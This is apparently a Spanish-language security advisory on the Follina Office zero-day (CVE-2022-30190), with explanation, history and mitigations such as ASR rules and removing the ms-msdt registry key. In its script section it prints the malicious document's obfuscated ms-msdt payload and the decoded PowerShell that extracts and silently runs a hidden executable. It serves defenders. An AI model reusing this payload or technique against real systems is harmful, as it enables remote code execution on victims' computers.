Office

Hace dos días, el investigador Nao_sec identificó (por accidene) un documento de Word de aspecto extraño in-the-wild (otro), descargado desde una dirección IP en Bielorrusia.

No está del todo claro pero este sería un Zero-Day que permite la ejecución de código en los productos de Office sin la utilización de macros. Históricamente, cuando hay formas fáciles de ejecutar código directamente desde Office, enseguida se comienza a utilizar para infectar sistemas. Además este descubrimiento rompe el límite de tener macros deshabilitadas y la detección de proveedores es deficiente.

Hasta el momento se ha confirmado que la vulnerabilidad afecta a Office 2013, 2016, Office Pro Plus from April (en Windows 11 con actualizaciones de mayo de 2022), y Office 2021.

El investigador llamó «Follina» al descubrimiento porque la muestra del archivo hace referencia a 0438, que es el código postal de Follina, Treviso en Italia. Microsoft ahora lo está rastreando como CVE-2022-30190. La falla afecta a todas las versiones de Windows que aún reciben actualizaciones de seguridad (Windows 7+ y Server 2008+). Esta vulnerabilidad es muy similar a las CVE-2021-44444.

El documento usa la función de plantilla remota de Word para recuperar un archivo HTML de un servidor web, que a su vez usa el esquema de URI «ms-msdt» para cargar código y ejecutar PowerShell. El payload se puede ejecutar al abrir documentos de Word o previsualizar documentos RTF (video, otro video).

El procedimiento para utilizar «ms-msdt» apareció por primera vez en una tesis de agosto de 2020 y ya había habido informes a Microsoft en marzo de 2021 y en marzo de 2022. Finalmente en abril de 2022, Crazyman informó oficialmente a Microsoft, aunque la empresa decidió que no era un problema de seguridad y cerró el ticket.

Este comportamiento no debería ser posible pero ese código hace esto, cuando se decodifica:

El documento malicioso usa Microsoft Word para obtener y cargar un HTML desde un servidor externo y luego usa el esquema ms-msdt para cargar y ejecutar un PowerShell. El código se ejecuta incluso si las macros están deshabilitadas.

El maldoc al que se hace referencia se puede descargar de MalwareBazaar (CUIDADO!). Este documento descargaba el HTML desde el sitio hxxps[:]//www.xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l.html! ya eliminado, aunque se puede encontrar una copia archivada en esta sesión de Any.Run.

Están sucediendo muchas cosas aquí, pero el primer problema es que Microsoft Word está ejecutando el código a través de «msdt» (una herramienta de soporte) incluso si las macros están deshabilitadas. La Vista protegida se activa, aunque si se cambia el documento a formato RTF, se ejecuta sin siquiera abrir el documento (a través de la pestaña de vista previa en el Explorador), y mucho menos la Vista protegida. La vulnerabilidad también es exploitable usando arcivos .RTF en todas las versiones de Office 365.

Hace más de un mes, se subió a VirusTotal otro archivo (y otro, otro) con el tema «invitación para una entrevista» dirigido a Sputnik Radio y a un usuario en Rusia.

De acuerdo al investigador, ha probado esto en varios equipos y funciona correctamente en Windows 10/11, sin permisos de administrador y con macros completamente deshabilitadas; con Defender habilitado y en Office 365, permitiendo ejecutar la calc.exe al abrir un documento de Word.

Didler Stevens demuestra que el exploit funciona en una versión parcheada de Microsoft Office 2021 y se ha creado una PoC no maliciosa (otra) y un script en Python para probar el funcionamiento del exploit. El exploit también ha sido integrado en MacroPack.

El script

En el archivo HTML se puede observar el siguiente script ofuscado:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c
IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression
('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String
('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuI
C1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUF
yZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAla
SAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4
mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe
IT_AutoTroubleshoot=ts_AUTO\"";

Al decodificar el BASE64 observado, se puede ver la ejecución de los procesos dañinos:

$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i 
in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil 
-decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

¿Cómo podría evolucionar esto?

Hay diferentes formas de activarlo de forma remota y Microsoft necesitará parchearlo en todas las diferentes ofertas de productos, y los proveedores de seguridad necesitarán detección y bloqueo sólidos. Microsoft probablemente apuntará hacia la protección de la «vista protegida» que, de forma predeterminada aplica a todas las macros.

Además, se podría usar esquemas de URI de protocolo MS en correos electrónicos de Outlook o cualquiera de estos para abusar de los esquemas de conexión de MS Office.

Este comando muestra los esquemas disponibles en cada sistema operativo con Office instalado:

Get-Item Registry::HKEY_CLASSES_ROOT\ms-* | Out-String | select-string -Pattern "URL" -SimpleMatch

Es probable que la detección por parte de Microsoft y los antivirus no sea eficiente al principio, ya que Office carga el código malicioso desde una plantilla remota (servidor web), por lo que nada en el documento de Word/Excel es realmente malicioso.

Detección y Mitigación

Huntress ha publicado un documento técnico con explicaciones adicional. Si se utiliza las reglas de reducción de la superficie de ataque (ASR) de Microsoft Defender, la activación de la regla «»Bloquear todas las aplicaciones de Office para que no creen procesos secundarios (Block all Office applications from creating child processes) (4F940AB-401B-4EFC-AADC-AD5F3C50688A)» en el modo de «bloqueo», evitará que se explote esta vulnerabilidad.

Actualmente se pueden personalizar 16 reglas de reducción de superficie de ataque. Especificamente aplicar ASR con la regla mencionada bloquea los procesos secundarios/hijos en Word. En el blog BlogThinkBig hay más información sobre estas reglas y su funcionamiento pero básicamente se puede habilitar la regla (con Windows Defender encendido) con el siguiente comando:

Add-MpPreference -AttackSurfaceReductionRules_Ids d4f940ab-401b-4efc-aadc-ad5f3c50688a 
    -AttackSurfaceReductionRules_Actions Warn | Enable

Otra opción es eliminar la asociación de tipo de archivo para ms-msdt: se puede modificar en el Registro de Windows HKCR:\ms-msdt o con el fragmento de PowerShell de Kelvin Tegelaar.

reg delete HKEY_CLASSES_ROOT\ms-msdt /f (reiniciar)

Una forma sencilla de evitar los ataques actuales es renombrar (o eliminar) la siguiente clave de registro: "HKEY_CLASSES_ROOT\ms-msdt"

De esta forma, cuando se abre el documento malicioso, Office no podrá invocar ms-msdt, lo que evitará que se ejecute el malware.

$ENV:ActivateWorkaround = "Yes"
if($ENV:ActivateWorkaround -eq "Yes") {
    New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
    Set-Item -Path "HKCR:\ms-msdt" -Value "URL:ms-msdt_bak"
} else {
    New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
    Set-Item -Path "HKCR:\ms-msdt" -Value "URL:ms-msdt"
}

Los usuarios de Microsoft con licencias E5 pueden detectar el exploit agregando esta consulta de punto final a Defender.
En un AD, se puede desactivar «Troubleshooting wizards» mediante GPO o modificar la siguiente clave de registro:

HKLM\SOFTWARE\Policies\Microsoft\Windows\ScriptedDiagnostics - EnableDiagnostics = 0

Mediante GPEDIT.msc: Group Policy Editor -> Computer Configuration -> Administrative Templates -> System -> Troubleshooting and Diagnostics -> Scripted Diagnostics Set «Troubleshooting: Allow users to access and run Troubleshooting Wizards» = «disabled»

Fuente y redacción: segu-info.com.ar

Compartir